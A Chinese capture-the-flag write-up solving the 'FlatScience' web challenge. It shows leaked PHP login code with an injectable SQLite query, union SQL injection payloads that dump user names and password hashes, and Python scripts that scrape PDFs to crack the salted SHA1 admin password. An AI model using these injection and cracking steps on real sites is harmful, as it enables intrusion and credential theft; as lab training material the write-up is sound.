文章目录

  • 前言
  • 一、FlatScience
    • 1.题目
    • 2.答题

前言

Robots协议,也称作robots.txt,是一种在Web站点中告诉搜索引擎蜘蛛哪些页面可以被访问的协议。该协议规定了机器人在访问网站时可以访问哪些页面和目录。一般来说,Robots协议被用来控制搜索引擎抓取和索引网站上的内容的方式。

robots.txt文件必须放在网站的根目录下,并且它是一个普通的文本文件。它可以包含一系列指令,这些指令告诉搜索引擎蜘蛛哪些URL可以被访问,哪些不能被访问,访问的频率等等。

Robots协议的主要作用就是控制搜索引擎蜘蛛的行为,防止它们抓取不需要的页面,从而减少服务器的负载和网站的带宽使用。此外,Robots协议还可以帮助网站所有者保护一些敏感信息,比如登录页面和数据库备份页面等。

一、FlatScience

1.题目

2.答题

试了下robots.txt,看到两个php


在login.php页面里,发现了一个?debug

/login.php?debug=1


发现php源码

<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"><html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body><div align=right class=lastmod>
Last Modified: Fri Mar  31:33:7 UTC 1337
</div><h1>Login</h1>Login Page, do not try to hax here plox!<br><form method="post">ID:<br><input type="text" name="usr"><br>Password:<br> <input type="text" name="pw"><br><br><input type="submit" value="Submit">
</form><?php
if(isset($_POST['usr']) && isset($_POST['pw'])){$user = $_POST['usr'];$pass = $_POST['pw'];$db = new SQLite3('../fancy.db');$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");if($res){$row = $res->fetchArray();}else{echo "<br>Some Error occourred!";}if(isset($row['id'])){setcookie('name',' '.$row['name'], time() + 60, '/');header("Location: /");die();}}if(isset($_GET['debug']))
highlight_file('login.php');
?>

这里我们看到数据库是SQLite3,不是MySQL,在sqlite数据库有一张sqlite_master表,存放着相关信息

闭合语句进行注入

1' union select id,group_concat(id) from users--+得到1,2,31' union select id,group_concat(name) from users--+得到admin,fritze,hansi1' union select id,group_concat(password) from users--+得到3fab54a50e770d830c0416df817567662a9dc85c、54eae8935c90f467427f05e4ece82cf569f89507、34b0bb7c304949f9ff2fc101eef0f048be10d3bd

获取PDF密码脚本如下:

python3爬取多目标网页PDF文件并下载到指定目录

import urllib.request
import re
import os# open the url and read
def getHtml(url):page = urllib.request.urlopen(url)html = page.read()page.close()return htmldef getUrl(html):reg = r'(?:href|HREF)="?((?:http://)?.+?.pdf)'url_re = re.compile(reg)url_lst = url_re.findall(html.decode('utf-8'))return(url_lst)def getFile(url):file_name = url.split('/')[-1]u = urllib.request.urlopen(url)f = open(file_name, 'wb')block_sz = 8192while True:buffer = u.read(block_sz)if not buffer:breakf.write(buffer)f.close()print ("Sucessful to download" + " " + file_name)#指定网页
root_url = ['http://111.198.29.45:54344/1/2/5/','http://111.198.29.45:54344/']raw_url = ['http://111.198.29.45:54344/1/2/5/index.html','http://111.198.29.45:54344/index.html']
#指定目录
os.mkdir('ldf_download')
os.chdir(os.path.join(os.getcwd(), 'ldf_download'))
for i in range(len(root_url)):print("当前网页:",root_url[i])html = getHtml(raw_url[i])url_lst = getUrl(html)for url in url_lst[:]:url = root_url[i] + urlgetFile(url)

python3识别PDF内容并进行密码对冲

from io import StringIO#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreterimport sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Requestdef get_pdf():return [i for i in os.listdir("./ldf_download/") if i.endswith("pdf")]def convert_pdf_to_txt(path_to_file):rsrcmgr = PDFResourceManager()retstr = StringIO()codec = 'utf-8'laparams = LAParams()device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)fp = open(path_to_file, 'rb')interpreter = PDFPageInterpreter(rsrcmgr, device)password = ""maxpages = 0caching = Truepagenos=set()for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):interpreter.process_page(page)text = retstr.getvalue()fp.close()device.close()retstr.close()return textdef find_password():pdf_path = get_pdf()for i in pdf_path:print ("Searching word in " + i)pdf_text = convert_pdf_to_txt("./ldf_download/"+i).split(" ")for word in pdf_text:sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):print ("Find the password :" + word)exit()if __name__ == "__main__":find_password()

得到admin的密码为ThinJerboa

在admin.php使用账号密码登录


得到flag:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

【愚公系列】2023年05月 攻防世界-Web(FlatScience)相关推荐

  1. 【愚公系列】2023年05月 攻防世界-Web(lottery)

    文章目录 前言 一.lottery 1.题目 2.答题 前言 dirsearch是一个用于Web服务器的爬虫工具,它可以快速地扫描网站的目录,并找出隐藏的文件和目录.dirsearch可以检测出许多常 ...

  2. 【愚公系列】2023年05月 攻防世界-Web(unseping)

    文章目录 前言 一.unseping 1.题目 2.答题 前言 反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中.反序列化是将已序列化数据还原回对象的过程.攻击者可以通过构造恶意序列化 ...

  3. 【愚公系列】2023年05月 攻防世界-Web(shrine)

    文章目录 前言 一.shrine 1.题目 2.答题 前言 Flask是一个轻量级的Web应用程序框架,用于Python编程语言.它是基于Werkzeug WSGI工具箱和Jinja2模板引擎构建的. ...

  4. 【愚公系列】2023年05月 攻防世界-Web(file_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.file_include 1.题目 2.答题 总结 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion ...

  5. 【愚公系列】2023年05月 攻防世界-Web(Web_php_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.Web_php_include 1.题目 2.答题 2.1 伪协议解题 2.2 中国蚁剑 2.3 数据库写入 前言 1. ...

  6. 【愚公系列】2023年05月 攻防世界-Web(fileclude)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 一.fileclude 1.题目 2.答题 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是一种常 ...

  7. 【愚公系列】2023年05月 攻防世界-Web(fileinclude)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 一.fileinclude 1.题目 2.答题 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是一 ...

  8. 【愚公系列】2023年05月 攻防世界-Web(Web_php_unserialize)

    文章目录 前言 一.Web_php_unserialize 1.题目 2.答题 前言 PHP的序列化漏洞是一种安全漏洞,攻击者可以利用这种漏洞来执行恶意代码或获取敏感信息.具体来说,攻击者可以通过在序 ...

  9. 【愚公系列】2023年05月 攻防世界-Web(Confusion1)

    文章目录 前言 一.Confusion1 1.题目 2.答题 前言 SSTI漏洞(Server Side Template Injection,服务端模板注入漏洞)是一种 web 应用程序中的安全漏洞 ...

最新文章

  1. python【力扣LeetCode算法题库】7- 整数反转
  2. 工作流技术JBPM开发入门
  3. 我司用了 6 年的 Redis 分布式限流器,很牛逼了!
  4. 初级算法——两个物种(蓝桥杯)
  5. rowdata java_Java RowDataUtil.addRowData方法代碼示例
  6. python2.7安装教程win7_win7 64位环境下,为python2.7 安装pip
  7. rtk采点后如何导入cad_ZEMAX:如何导入CAD物体
  8. Python查找列表中相加等于s的n个数字(combinations的使用)
  9. Axure中将不同文件页面合在同一个页面中
  10. Jenkins高级篇之Pipeline方法篇-Pipeline Basic Steps-6-写文件writeFile和git SCM
  11. linux系统权限640,linux权限及权限管理
  12. Excel 中 YEAR 函数公式语法和用法示例介绍
  13. Interfacing with Pixhawk using the NSH
  14. springboot配置两个parent的方法
  15. 【总结】办公编程学习你可能需要这些小利器!
  16. 分布式查询工具-Apache Drill
  17. 索引失效的情况及解决(超详细)
  18. tf.expand_dims
  19. STM32使用串口1配合DMA接收不定长数据,大大减轻CPU载荷。
  20. 开发ODBC驱动代码

热门文章

  1. ace缓存扩展接口_Laravel框架怎样使用阿里云ACE缓存服务
  2. CFA一级学习笔记--固定收益(三)--估值
  3. CRMEB4.x版和pro版客服配置详解
  4. 毕业设计-基于SpringBoot实验室预约管理系统
  5. android 视频编辑框架(分割,裁剪,旋转,合并,添加logo,背景音乐等等)
  6. memset函数的使用原理
  7. protobuf 自定义extend
  8. 大神!程序员5年在上海全款买房,你怎么看?
  9. Android开发之ExpandableListView
  10. centos 安装Broadcom网卡驱动